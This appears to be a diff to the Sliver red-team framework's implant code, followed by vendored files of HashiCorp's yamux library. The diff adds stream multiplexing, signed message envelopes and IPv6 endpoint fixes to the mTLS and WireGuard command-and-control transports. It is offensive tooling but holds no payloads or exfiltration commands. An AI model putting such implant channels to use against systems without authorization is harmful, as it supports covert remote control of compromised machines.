func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
data, err := proto.Marshal(envelope)
if err != nil {
// {{if .Config.Debug}}
@@ -63,15 +101,28 @@ func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
// {{end}}
return err
}
signingKey, keyID, err := mtlsEnvelopeSigningKey()
if err != nil {
return err
}
rawSigBuf := make([]byte, cryptography.RawSigSize)
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
if _, werr := w.Write(rawSigBuf); werr != nil {
return werr
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
if _, werr := w.Write(dataLengthBuf.Bytes()); werr != nil {
// {{if .Config.Debug}}
log.Print("Error writing data length: ", werr)
// {{end}}
return werr
}
if _, werr := connection.Write(data); werr != nil {
if _, werr := w.Write(data); werr != nil {
// {{if .Config.Debug}}
log.Print("Error writing data: ", werr)
// {{end}}
@@ -81,7 +132,7 @@ func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
}
// WritePing - Send a "ping" message to the server
func WritePing(connection *tls.Conn) error {
func WritePing(w io.Writer) error {
// {{if .Config.Debug}}
log.Print("Socket ping")
// {{end}}
@@ -92,16 +143,26 @@ func WritePing(connection *tls.Conn) error {
Type: pb.MsgPing,
Data: pingBuf,
}
return WriteEnvelope(connection, &envelope)
return WriteEnvelope(w, &envelope)
}
// ReadEnvelope - Reads a message from the TLS connection using length prefix framing
func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
func ReadEnvelope(r io.Reader) (*pb.Envelope, error) {
rawSigBuf := make([]byte, cryptography.RawSigSize)
dataLengthBuf := make([]byte, 4) // Size of uint32
if len(dataLengthBuf) == 0 || connection == nil {
if len(rawSigBuf) == 0 || len(dataLengthBuf) == 0 || r == nil {
panic("[[GenerateCanary]]")
}
n, err := io.ReadFull(connection, dataLengthBuf)
n, err := io.ReadFull(r, rawSigBuf)
if err != nil || n != len(rawSigBuf) {
// {{if .Config.Debug}}
log.Printf("Socket error (read raw signature): %v\n", err)
// {{end}}
return nil, err
}
n, err = io.ReadFull(r, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
@@ -119,7 +180,7 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
n, err = io.ReadFull(r, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
@@ -128,6 +189,13 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
return nil, err
}
if !cryptography.MinisignVerifyRaw(dataBuf, rawSigBuf) {
// {{if .Config.Debug}}
log.Printf("Invalid signature on mtls envelope")
// {{end}}
return nil, errors.New("[mtls] invalid signature")
}
// Unmarshal the protobuf envelope
envelope := &pb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
+216 -42
View File
@@ -39,6 +39,11 @@ import (
// {{end}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"github.com/hashicorp/yamux"
// {{end}}
// {{if .Config.IncludeWG}}
"errors"
@@ -62,18 +67,19 @@ import (
// {{end}}
// {{if not .Config.IncludeNamePipe}}
"io"
"net/url"
"sync"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
// {{end}}
"io"
"time"
)
var (
_ time.Duration // Force import
_ io.ReadCloser // Force import
)
type Start func() error
@@ -198,7 +204,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
ctrl := make(chan struct{})
done := make(chan struct{})
var conn *tls.Conn
var muxSession *yamux.Session
connection := &Connection{
Send: send,
@@ -215,7 +223,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[mtls] lost connection, cleanup...")
// {{end}}
conn.Close()
close(done)
if muxSession != nil {
muxSession.Close()
}
if conn != nil {
conn.Close()
}
close(recv)
},
}
@@ -243,45 +257,119 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if err != nil {
return err
}
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
conn.Close()
return err
}
muxSession, err = yamux.Client(conn, nil)
if err != nil {
conn.Close()
return err
}
connection.IsOpen = true
go func() {
defer connection.Cleanup()
sendSem := make(chan struct{}, 64)
ticker := time.NewTicker(mtls.PingInterval)
defer ticker.Stop()
sendEnvelope := func(envelope *pb.Envelope) {
if envelope == nil {
return
}
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func(envelope *pb.Envelope) {
defer func() {
<-sendSem
}()
stream, err := muxSession.Open()
if err != nil {
connection.Cleanup()
return
}
defer stream.Close()
if err := mtls.WriteEnvelope(stream, envelope); err != nil {
connection.Cleanup()
return
}
}(envelope)
}
sendPing := func() {
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func() {
defer func() {
<-sendSem
}()
stream, err := muxSession.Open()
if err != nil {
connection.Cleanup()
return
}
defer stream.Close()
if err := mtls.WritePing(stream); err != nil {
connection.Cleanup()
return
}
}()
}
for {
select {
case envelope, ok := <-send:
if !ok {
return
}
err := mtls.WriteEnvelope(conn, envelope)
if err != nil {
return
}
case <-time.After(mtls.PingInterval):
err = mtls.WritePing(conn)
if err != nil {
return
}
sendEnvelope(envelope)
case <-ticker.C:
sendPing()
case <-done:
return
}
}
}()
go func() {
defer connection.Cleanup()
streamSem := make(chan struct{}, 128)
for {
envelope, err := mtls.ReadEnvelope(conn)
if err == io.EOF {
// {{if .Config.Debug}}
log.Printf("[mtls] eof")
// {{end}}
stream, err := muxSession.Accept()
if err != nil {
return
}
if err != io.EOF && err != nil {
break
}
if envelope != nil {
recv <- envelope
select {
case streamSem <- struct{}{}:
case <-done:
stream.Close()
return
}
go func() {
defer func() {
<-streamSem
}()
defer stream.Close()
envelope, err := mtls.ReadEnvelope(stream)
if err != nil {
return
}
if envelope != nil {
select {
case recv <- envelope:
case <-done:
}
}
}()
}
}()
@@ -299,9 +387,11 @@ func wgConnect(uri *url.URL) (*Connection, error) {
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
ctrl := make(chan struct{})
done := make(chan struct{})
var conn net.Conn
var dev *device.Device
var muxSession *yamux.Session
connection := &Connection{
Send: send,
Recv: recv,
@@ -315,8 +405,16 @@ func wgConnect(uri *url.URL) (*Connection, error) {
// {{if .Config.Debug}}
log.Printf("[wg] lost connection, cleanup...")
// {{end}}
conn.Close()
dev.Down()
close(done)
if muxSession != nil {
muxSession.Close()
}
if conn != nil {
conn.Close()
}
if dev != nil {
dev.Down()
}
close(recv)
},
}
@@ -355,45 +453,121 @@ func wgConnect(uri *url.URL) (*Connection, error) {
if err != nil {
return err
}
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
conn.Close()
dev.Down()
return err
}
muxSession, err = yamux.Client(conn, nil)
if err != nil {
conn.Close()
dev.Down()
return err
}
connection.IsOpen = true
go func() {
defer connection.Cleanup()
sendSem := make(chan struct{}, 64)
ticker := time.NewTicker(wireguard.PingInterval)
defer ticker.Stop()
sendEnvelope := func(envelope *pb.Envelope) {
if envelope == nil {
return
}
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func(envelope *pb.Envelope) {
defer func() {
<-sendSem
}()
stream, err := muxSession.Open()
if err != nil {
connection.Cleanup()
return
}
defer stream.Close()
if err := wireguard.WriteEnvelope(stream, envelope); err != nil {
connection.Cleanup()
return
}
}(envelope)
}
sendPing := func() {
select {
case sendSem <- struct{}{}:
case <-done:
return
}
go func() {
defer func() {
<-sendSem
}()
stream, err := muxSession.Open()
if err != nil {
connection.Cleanup()
return
}
defer stream.Close()
if err := wireguard.WritePing(stream); err != nil {
connection.Cleanup()
return
}
}()
}
for {
select {
case envelope, ok := <-send:
if !ok {
return
}
err := wireguard.WriteEnvelope(conn, envelope)
if err != nil {
return
}
case <-time.After(wireguard.PingInterval):
err = wireguard.WritePing(conn)
if err != nil {
return
}
sendEnvelope(envelope)
case <-ticker.C:
sendPing()
case <-done:
return
}
}
}()
go func() {
defer connection.Cleanup()
streamSem := make(chan struct{}, 128)
for {
envelope, err := wireguard.ReadEnvelope(conn)
if err == io.EOF {
// {{if .Config.Debug}}
log.Printf("[wireguard] eof")
// {{end}}
stream, err := muxSession.Accept()
if err != nil {
return
}
if err != io.EOF && err != nil {
break
}
if envelope != nil {
recv <- envelope
select {
case streamSem <- struct{}{}:
case <-done:
stream.Close()
return
}
go func() {
defer func() {
<-streamSem
}()
defer stream.Close()
envelope, err := wireguard.ReadEnvelope(stream)
if err != nil {
return
}
if envelope != nil {
select {
case recv <- envelope:
case <-done:
}
}
}()
}
}()
@@ -25,6 +25,8 @@ package wireguard
import (
"bufio"
"bytes"
"crypto/ed25519"
"crypto/sha256"
"encoding/binary"
"errors"
"fmt"
@@ -33,15 +35,18 @@ import (
"net/netip"
"strconv"
"strings"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/cryptography"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/implant/sliver/netstack"
"golang.org/x/crypto/blake2b"
"golang.zx2c4.com/wireguard/conn"
"golang.zx2c4.com/wireguard/device"
"golang.zx2c4.com/wireguard/tun"
@@ -49,6 +54,9 @@ import (
)
var (
// YamuxPreface - Magic bytes sent before yamux frames
YamuxPreface = "MUX/1"
serverTunIP = "100.64.0.1" // Don't let user configure this for now
tunnelNet *netstack.Net
tunAddress string
@@ -66,6 +74,36 @@ var (
failedConn = 0
)
const wgEnvelopeSigningSeedPrefix = "env-signing-v1:"
var (
envelopeSigningOnce sync.Once
envelopeSigningErr error
envelopeSigningKeyID uint64
envelopeSigningPriv ed25519.PrivateKey
)
func wgEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
envelopeSigningOnce.Do(func() {
peerKeyPair := cryptography.GetPeerAgeKeyPair()
// NOTE: This file is rendered with Go's text/template; avoid literal template
// delimiters in string checks or the template parser will treat it as an action.
if peerKeyPair == nil || peerKeyPair.Private == "" || strings.Contains(peerKeyPair.Private, ".Build.PeerPrivateKey") {
envelopeSigningErr = errors.New("[wireguard] missing peer private key")
return
}
seed := sha256.Sum256([]byte(wgEnvelopeSigningSeedPrefix + peerKeyPair.Private))
envelopeSigningPriv = ed25519.NewKeyFromSeed(seed[:])
pub := envelopeSigningPriv.Public().(ed25519.PublicKey)
digest := blake2b.Sum256(pub)
envelopeSigningKeyID = binary.LittleEndian.Uint64(digest[:8])
})
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
}
// GetTNet - Get the netstack Net object
func GetTNet() *netstack.Net {
return tunnelNet
@@ -87,6 +125,22 @@ func WriteEnvelope(connection net.Conn, envelope *pb.Envelope) error {
// {{end}}
return err
}
signingKey, keyID, err := wgEnvelopeSigningKey()
if err != nil {
return err
}
rawSigBuf := make([]byte, cryptography.RawSigSize)
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
if _, werr := connection.Write(rawSigBuf); werr != nil {
// {{if .Config.Debug}}
log.Print("Socket error (write raw signature): ", werr)
// {{end}}
return werr
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
@@ -121,11 +175,21 @@ func WritePing(connection net.Conn) error {
// ReadEnvelope - Reads a message from the wireguard connection using length prefix framing
func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
rawSigBuf := make([]byte, cryptography.RawSigSize)
dataLengthBuf := make([]byte, 4) // Size of uint32
if len(dataLengthBuf) == 0 || connection == nil {
if len(rawSigBuf) == 0 || len(dataLengthBuf) == 0 || connection == nil {
panic("[[GenerateCanary]]")
}
n, err := io.ReadFull(connection, dataLengthBuf)
n, err := io.ReadFull(connection, rawSigBuf)
if err != nil || n != len(rawSigBuf) {
// {{if .Config.Debug}}
log.Printf("Socket error (read raw signature): %v\n", err)
// {{end}}
return nil, err
}
n, err = io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
@@ -152,6 +216,13 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
return nil, err
}
if !cryptography.MinisignVerifyRaw(dataBuf, rawSigBuf) {
// {{if .Config.Debug}}
log.Printf("Invalid signature on wireguard envelope")
// {{end}}
return nil, errors.New("[wireguard] invalid signature")
}
// Unmarshal the protobuf envelope
envelope := &pb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
@@ -165,6 +236,10 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
return envelope, nil
}
func formatWGEndpoint(address string, port uint16) string {
return net.JoinHostPort(address, strconv.Itoa(int(port)))
}
// getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
func getSessKeys(address string, port uint16) error {
_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
@@ -172,7 +247,9 @@ func getSessKeys(address string, port uint16) error {
return err
}
dev.Up()
if err := dev.Up(); err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("Initial wg connection. Attempting to connect to wg key exchange listener")
@@ -183,6 +260,7 @@ func getSessKeys(address string, port uint16) error {
// {{if .Config.Debug}}
log.Printf("Unable to connect to wg key exchange listener: %v", err)
// {{end}}
_ = dev.Down()
return err
}
@@ -207,7 +285,10 @@ func getSessKeys(address string, port uint16) error {
// WGConnect - Get a wg connection or die trying
func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
if wgSessPrivKey == "" || failedConn > 2 {
getSessKeys(address, port)
if err := getSessKeys(address, port); err != nil {
failedConn++
return nil, nil, err
}
}
// Bring up actual wireguard connection using retrieved keys and IP
@@ -261,7 +342,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
wgConf := bytes.NewBuffer(nil)
fmt.Fprintf(wgConf, "private_key=%s\n", implantPrivKey)
fmt.Fprintf(wgConf, "public_key=%s\n", serverPubKey)
fmt.Fprintf(wgConf, "endpoint=%s:%d\n", address, port)
fmt.Fprintf(wgConf, "endpoint=%s\n", formatWGEndpoint(address, port))
fmt.Fprintf(wgConf, "allowed_ip=%s/0\n", "0.0.0.0")
// {{if .Config.Debug}}
@@ -0,0 +1,26 @@
//go:build windows || darwin || linux
package wireguard
import "testing"
func TestFormatWGEndpoint_IPv6(t *testing.T) {
got := formatWGEndpoint("::1", 8989)
if got != "[::1]:8989" {
t.Fatalf("unexpected endpoint: got=%q want=%q", got, "[::1]:8989")
}
}
func TestFormatWGEndpoint_IPv4(t *testing.T) {
got := formatWGEndpoint("127.0.0.1", 53)
if got != "127.0.0.1:53" {
t.Fatalf("unexpected endpoint: got=%q want=%q", got, "127.0.0.1:53")
}
}
func TestFormatWGEndpoint_Hostname(t *testing.T) {
got := formatWGEndpoint("example.com", 1337)
if got != "example.com:1337" {
t.Fatalf("unexpected endpoint: got=%q want=%q", got, "example.com:1337")
}
}
+23
View File
@@ -0,0 +1,23 @@
# Compiled Object files, Static and Dynamic libs (Shared Objects)
*.o
*.a
*.so
# Folders
_obj
_test
# Architecture specific extensions/prefixes
*.[568vq]
[568vq].out
*.cgo1.go
*.cgo2.c
_cgo_defun.c
_cgo_gotypes.go
_cgo_export.*
_testmain.go
*.exe
*.test
+364
View File
@@ -0,0 +1,364 @@
Copyright (c) 2014 HashiCorp, Inc.
Mozilla Public License, version 2.0
1. Definitions
1.1. "Contributor"
means each individual or legal entity that creates, contributes to the
creation of, or owns Covered Software.
1.2. "Contributor Version"
means the combination of the Contributions of others (if any) used by a
Contributor and that particular Contributor's Contribution.
1.3. "Contribution"
means Covered Software of a particular Contributor.
1.4. "Covered Software"
means Source Code Form to which the initial Contributor has attached the
notice in Exhibit A, the Executable Form of such Source Code Form, and
Modifications of such Source Code Form, in each case including portions
thereof.
1.5. "Incompatible With Secondary Licenses"
means
a. that the initial Contributor has attached the notice described in
Exhibit B to the Covered Software; or
b. that the Covered Software was made available under the terms of
version 1.1 or earlier of the License, but not also under the terms of
a Secondary License.
1.6. "Executable Form"
means any form of the work other than Source Code Form.
1.7. "Larger Work"
means a work that combines Covered Software with other material, in a
separate file or files, that is not Covered Software.
1.8. "License"
means this document.
1.9. "Licensable"
means having the right to grant, to the maximum extent possible, whether
at the time of the initial grant or subsequently, any and all of the
rights conveyed by this License.
1.10. "Modifications"
means any of the following:
a. any file in Source Code Form that results from an addition to,
deletion from, or modification of the contents of Covered Software; or
b. any new file in Source Code Form that contains any Covered Software.
1.11. "Patent Claims" of a Contributor
means any patent claim(s), including without limitation, method,
process, and apparatus claims, in any patent Licensable by such
Contributor that would be infringed, but for the grant of the License,
by the making, using, selling, offering for sale, having made, import,
or transfer of either its Contributions or its Contributor Version.
1.12. "Secondary License"
means either the GNU General Public License, Version 2.0, the GNU Lesser
General Public License, Version 2.1, the GNU Affero General Public
License, Version 3.0, or any later versions of those licenses.
1.13. "Source Code Form"
means the form of the work preferred for making modifications.
1.14. "You" (or "Your")
means an individual or a legal entity exercising rights under this
License. For legal entities, "You" includes any entity that controls, is
controlled by, or is under common control with You. For purposes of this
definition, "control" means (a) the power, direct or indirect, to cause
the direction or management of such entity, whether by contract or
otherwise, or (b) ownership of more than fifty percent (50%) of the
outstanding shares or beneficial ownership of such entity.
2. License Grants and Conditions
2.1. Grants
Each Contributor hereby grants You a world-wide, royalty-free,
non-exclusive license:
a. under intellectual property rights (other than patent or trademark)
Licensable by such Contributor to use, reproduce, make available,
modify, display, perform, distribute, and otherwise exploit its
Contributions, either on an unmodified basis, with Modifications, or
as part of a Larger Work; and
b. under Patent Claims of such Contributor to make, use, sell, offer for
sale, have made, import, and otherwise transfer either its
Contributions or its Contributor Version.
2.2. Effective Date
The licenses granted in Section 2.1 with respect to any Contribution
become effective for each Contribution on the date the Contributor first
distributes such Contribution.
2.3. Limitations on Grant Scope
The licenses granted in this Section 2 are the only rights granted under
this License. No additional rights or licenses will be implied from the
distribution or licensing of Covered Software under this License.
Notwithstanding Section 2.1(b) above, no patent license is granted by a
Contributor:
a. for any code that a Contributor has removed from Covered Software; or
b. for infringements caused by: (i) Your and any other third party's
modifications of Covered Software, or (ii) the combination of its
Contributions with other software (except as part of its Contributor
Version); or
c. under Patent Claims infringed by Covered Software in the absence of
its Contributions.
This License does not grant any rights in the trademarks, service marks,
or logos of any Contributor (except as may be necessary to comply with
the notice requirements in Section 3.4).
2.4. Subsequent Licenses
No Contributor makes additional grants as a result of Your choice to
distribute the Covered Software under a subsequent version of this
License (see Section 10.2) or under the terms of a Secondary License (if
permitted under the terms of Section 3.3).
2.5. Representation
Each Contributor represents that the Contributor believes its
Contributions are its original creation(s) or it has sufficient rights to
grant the rights to its Contributions conveyed by this License.
2.6. Fair Use
This License is not intended to limit any rights You have under
applicable copyright doctrines of fair use, fair dealing, or other
equivalents.
2.7. Conditions
Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in
Section 2.1.
3. Responsibilities
3.1. Distribution of Source Form
All distribution of Covered Software in Source Code Form, including any
Modifications that You create or to which You contribute, must be under
the terms of this License. You must inform recipients that the Source
Code Form of the Covered Software is governed by the terms of this
License, and how they can obtain a copy of this License. You may not
attempt to alter or restrict the recipients' rights in the Source Code
Form.
3.2. Distribution of Executable Form
If You distribute Covered Software in Executable Form then:
a. such Covered Software must also be made available in Source Code Form,
as described in Section 3.1, and You must inform recipients of the
Executable Form how they can obtain a copy of such Source Code Form by
reasonable means in a timely manner, at a charge no more than the cost
of distribution to the recipient; and
b. You may distribute such Executable Form under the terms of this
License, or sublicense it under different terms, provided that the
license for the Executable Form does not attempt to limit or alter the
recipients' rights in the Source Code Form under this License.
3.3. Distribution of a Larger Work
You may create and distribute a Larger Work under terms of Your choice,
provided that You also comply with the requirements of this License for
the Covered Software. If the Larger Work is a combination of Covered
Software with a work governed by one or more Secondary Licenses, and the
Covered Software is not Incompatible With Secondary Licenses, this
License permits You to additionally distribute such Covered Software
under the terms of such Secondary License(s), so that the recipient of
the Larger Work may, at their option, further distribute the Covered
Software under the terms of either this License or such Secondary
License(s).
3.4. Notices
You may not remove or alter the substance of any license notices
(including copyright notices, patent notices, disclaimers of warranty, or
limitations of liability) contained within the Source Code Form of the
Covered Software, except that You may alter any license notices to the
extent required to remedy known factual inaccuracies.
3.5. Application of Additional Terms
You may choose to offer, and to charge a fee for, warranty, support,
indemnity or liability obligations to one or more recipients of Covered
Software. However, You may do so only on Your own behalf, and not on
behalf of any Contributor. You must make it absolutely clear that any
such warranty, support, indemnity, or liability obligation is offered by
You alone, and You hereby agree to indemnify every Contributor for any
liability incurred by such Contributor as a result of warranty, support,
indemnity or liability terms You offer. You may include additional
disclaimers of warranty and limitations of liability specific to any
jurisdiction.
4. Inability to Comply Due to Statute or Regulation
If it is impossible for You to comply with any of the terms of this License
with respect to some or all of the Covered Software due to statute,
judicial order, or regulation then You must: (a) comply with the terms of
this License to the maximum extent possible; and (b) describe the
limitations and the code they affect. Such description must be placed in a
text file included with all distributions of the Covered Software under
this License. Except to the extent prohibited by statute or regulation,
such description must be sufficiently detailed for a recipient of ordinary
skill to be able to understand it.
5. Termination
5.1. The rights granted under this License will terminate automatically if You
fail to comply with any of its terms. However, if You become compliant,
then the rights granted under this License from a particular Contributor
are reinstated (a) provisionally, unless and until such Contributor
explicitly and finally terminates Your grants, and (b) on an ongoing
basis, if such Contributor fails to notify You of the non-compliance by
some reasonable means prior to 60 days after You have come back into
compliance. Moreover, Your grants from a particular Contributor are
reinstated on an ongoing basis if such Contributor notifies You of the
non-compliance by some reasonable means, this is the first time You have
received notice of non-compliance with this License from such
Contributor, and You become compliant prior to 30 days after Your receipt
of the notice.
5.2. If You initiate litigation against any entity by asserting a patent
infringement claim (excluding declaratory judgment actions,
counter-claims, and cross-claims) alleging that a Contributor Version
directly or indirectly infringes any patent, then the rights granted to
You by any and all Contributors for the Covered Software under Section
2.1 of this License shall terminate.
5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user
license agreements (excluding distributors and resellers) which have been
validly granted by You or Your distributors under this License prior to
termination shall survive termination.
6. Disclaimer of Warranty
Covered Software is provided under this License on an "as is" basis,
without warranty of any kind, either expressed, implied, or statutory,
including, without limitation, warranties that the Covered Software is free
of defects, merchantable, fit for a particular purpose or non-infringing.
The entire risk as to the quality and performance of the Covered Software
is with You. Should any Covered Software prove defective in any respect,
You (not any Contributor) assume the cost of any necessary servicing,
repair, or correction. This disclaimer of warranty constitutes an essential
part of this License. No use of any Covered Software is authorized under
this License except under this disclaimer.
7. Limitation of Liability
Under no circumstances and under no legal theory, whether tort (including
negligence), contract, or otherwise, shall any Contributor, or anyone who
distributes Covered Software as permitted above, be liable to You for any
direct, indirect, special, incidental, or consequential damages of any
character including, without limitation, damages for lost profits, loss of
goodwill, work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses, even if such party shall have been
informed of the possibility of such damages. This limitation of liability
shall not apply to liability for death or personal injury resulting from
such party's negligence to the extent applicable law prohibits such
limitation. Some jurisdictions do not allow the exclusion or limitation of
incidental or consequential damages, so this exclusion and limitation may
not apply to You.
8. Litigation
Any litigation relating to this License may be brought only in the courts
of a jurisdiction where the defendant maintains its principal place of
business and such litigation shall be governed by laws of that
jurisdiction, without reference to its conflict-of-law provisions. Nothing
in this Section shall prevent a party's ability to bring cross-claims or
counter-claims.
9. Miscellaneous
This License represents the complete agreement concerning the subject
matter hereof. If any provision of this License is held to be
unenforceable, such provision shall be reformed only to the extent
necessary to make it enforceable. Any law or regulation which provides that
the language of a contract shall be construed against the drafter shall not
be used to construe this License against a Contributor.
10. Versions of the License
10.1. New Versions
Mozilla Foundation is the license steward. Except as provided in Section
10.3, no one other than the license steward has the right to modify or
publish new versions of this License. Each version will be given a
distinguishing version number.
10.2. Effect of New Versions
You may distribute the Covered Software under the terms of the version
of the License under which You originally received the Covered Software,
or under the terms of any subsequent version published by the license
steward.
10.3. Modified Versions
If you create software not governed by this License, and you want to
create a new license for such software, you may create and use a
modified version of this License if you rename the license and remove
any references to the name of the license steward (except to note that
such modified license differs from this License).
10.4. Distributing Source Code Form that is Incompatible With Secondary
Licenses If You choose to distribute Source Code Form that is
Incompatible With Secondary Licenses under the terms of this version of
the License, the notice described in Exhibit B of this License must be
attached.
Exhibit A - Source Code Form License Notice
This Source Code Form is subject to the
terms of the Mozilla Public License, v.
2.0. If a copy of the MPL was not
distributed with this file, You can
obtain one at
http://mozilla.org/MPL/2.0/.
If it is not possible or desirable to put the notice in a particular file,
then You may include the notice in a location (such as a LICENSE file in a
relevant directory) where a recipient would be likely to look for such a
notice.
You may add additional accurate notices of copyright ownership.
Exhibit B - "Incompatible With Secondary Licenses" Notice
This Source Code Form is "Incompatible
With Secondary Licenses", as defined by
the Mozilla Public License, v. 2.0.
+86
View File
@@ -0,0 +1,86 @@
# Yamux
Yamux (Yet another Multiplexer) is a multiplexing library for Golang.
It relies on an underlying connection to provide reliability
and ordering, such as TCP or Unix domain sockets, and provides
stream-oriented multiplexing. It is inspired by SPDY but is not
interoperable with it.
Yamux features include:
* Bi-directional streams
* Streams can be opened by either client or server
* Useful for NAT traversal
* Server-side push support
* Flow control
* Avoid starvation
* Back-pressure to prevent overwhelming a receiver
* Keep Alives
* Enables persistent connections over a load balancer
* Efficient
* Enables thousands of logical streams with low overhead
## Documentation
For complete documentation, see the associated [Godoc](http://godoc.org/github.com/hashicorp/yamux).
## Specification
The full specification for Yamux is provided in the `spec.md` file.
It can be used as a guide to implementors of interoperable libraries.
## Usage
Using Yamux is remarkably simple:
```go
func client() {
// Get a TCP connection
conn, err := net.Dial(...)
if err != nil {
panic(err)
}
// Setup client side of yamux
session, err := yamux.Client(conn, nil)
if err != nil {
panic(err)
}
// Open a new stream
stream, err := session.Open()
if err != nil {
panic(err)
}
// Stream implements net.Conn
stream.Write([]byte("ping"))
}
func server() {
// Accept a TCP connection
conn, err := listener.Accept()
if err != nil {
panic(err)
}
// Setup server side of yamux
session, err := yamux.Server(conn, nil)
if err != nil {
panic(err)
}
// Accept a stream
stream, err := session.Accept()
if err != nil {
panic(err)
}
// Listen for a message
buf := make([]byte, 4)
stream.Read(buf)
}
```
+60
View File
@@ -0,0 +1,60 @@
package yamux
import (
"fmt"
"net"
)
// hasAddr is used to get the address from the underlying connection
type hasAddr interface {
LocalAddr() net.Addr
RemoteAddr() net.Addr
}
// yamuxAddr is used when we cannot get the underlying address
type yamuxAddr struct {
Addr string
}
func (*yamuxAddr) Network() string {
return "yamux"
}
func (y *yamuxAddr) String() string {
return fmt.Sprintf("yamux:%s", y.Addr)
}
// Addr is used to get the address of the listener.
func (s *Session) Addr() net.Addr {
return s.LocalAddr()
}
// LocalAddr is used to get the local address of the
// underlying connection.
func (s *Session) LocalAddr() net.Addr {
addr, ok := s.conn.(hasAddr)
if !ok {
return &yamuxAddr{"local"}
}
return addr.LocalAddr()
}
// RemoteAddr is used to get the address of remote end
// of the underlying connection
func (s *Session) RemoteAddr() net.Addr {
addr, ok := s.conn.(hasAddr)
if !ok {
return &yamuxAddr{"remote"}
}
return addr.RemoteAddr()
}
// LocalAddr returns the local address
func (s *Stream) LocalAddr() net.Addr {
return s.session.LocalAddr()
}
// RemoteAddr returns the remote address
func (s *Stream) RemoteAddr() net.Addr {
return s.session.RemoteAddr()
}
+182
View File
@@ -0,0 +1,182 @@
package yamux
import (
"encoding/binary"
"fmt"
)
// NetError implements net.Error
type NetError struct {
err error
timeout bool
temporary bool
}
func (e *NetError) Error() string {
return e.err.Error()
}
func (e *NetError) Timeout() bool {
return e.timeout
}
func (e *NetError) Temporary() bool {
return e.temporary
}
var (
// ErrInvalidVersion means we received a frame with an
// invalid version
ErrInvalidVersion = fmt.Errorf("invalid protocol version")
// ErrInvalidMsgType means we received a frame with an
// invalid message type
ErrInvalidMsgType = fmt.Errorf("invalid msg type")
// ErrSessionShutdown is used if there is a shutdown during
// an operation
ErrSessionShutdown = fmt.Errorf("session shutdown")
// ErrStreamsExhausted is returned if we have no more
// stream ids to issue
ErrStreamsExhausted = fmt.Errorf("streams exhausted")
// ErrDuplicateStream is used if a duplicate stream is
// opened inbound
ErrDuplicateStream = fmt.Errorf("duplicate stream initiated")
// ErrReceiveWindowExceeded indicates the window was exceeded
ErrRecvWindowExceeded = fmt.Errorf("recv window exceeded")
// ErrTimeout is used when we reach an IO deadline
ErrTimeout = &NetError{
err: fmt.Errorf("i/o deadline reached"),
// Error should meet net.Error interface for timeouts for compatability
// with standard library expectations, such as http servers.
timeout: true,
}
// ErrStreamClosed is returned when using a closed stream
ErrStreamClosed = fmt.Errorf("stream closed")
// ErrUnexpectedFlag is set when we get an unexpected flag
ErrUnexpectedFlag = fmt.Errorf("unexpected flag")
// ErrRemoteGoAway is used when we get a go away from the other side
ErrRemoteGoAway = fmt.Errorf("remote end is not accepting connections")
// ErrConnectionReset is sent if a stream is reset. This can happen
// if the backlog is exceeded, or if there was a remote GoAway.
ErrConnectionReset = fmt.Errorf("connection reset")
// ErrConnectionWriteTimeout indicates that we hit the "safety valve"
// timeout writing to the underlying stream connection.
ErrConnectionWriteTimeout = fmt.Errorf("connection write timeout")
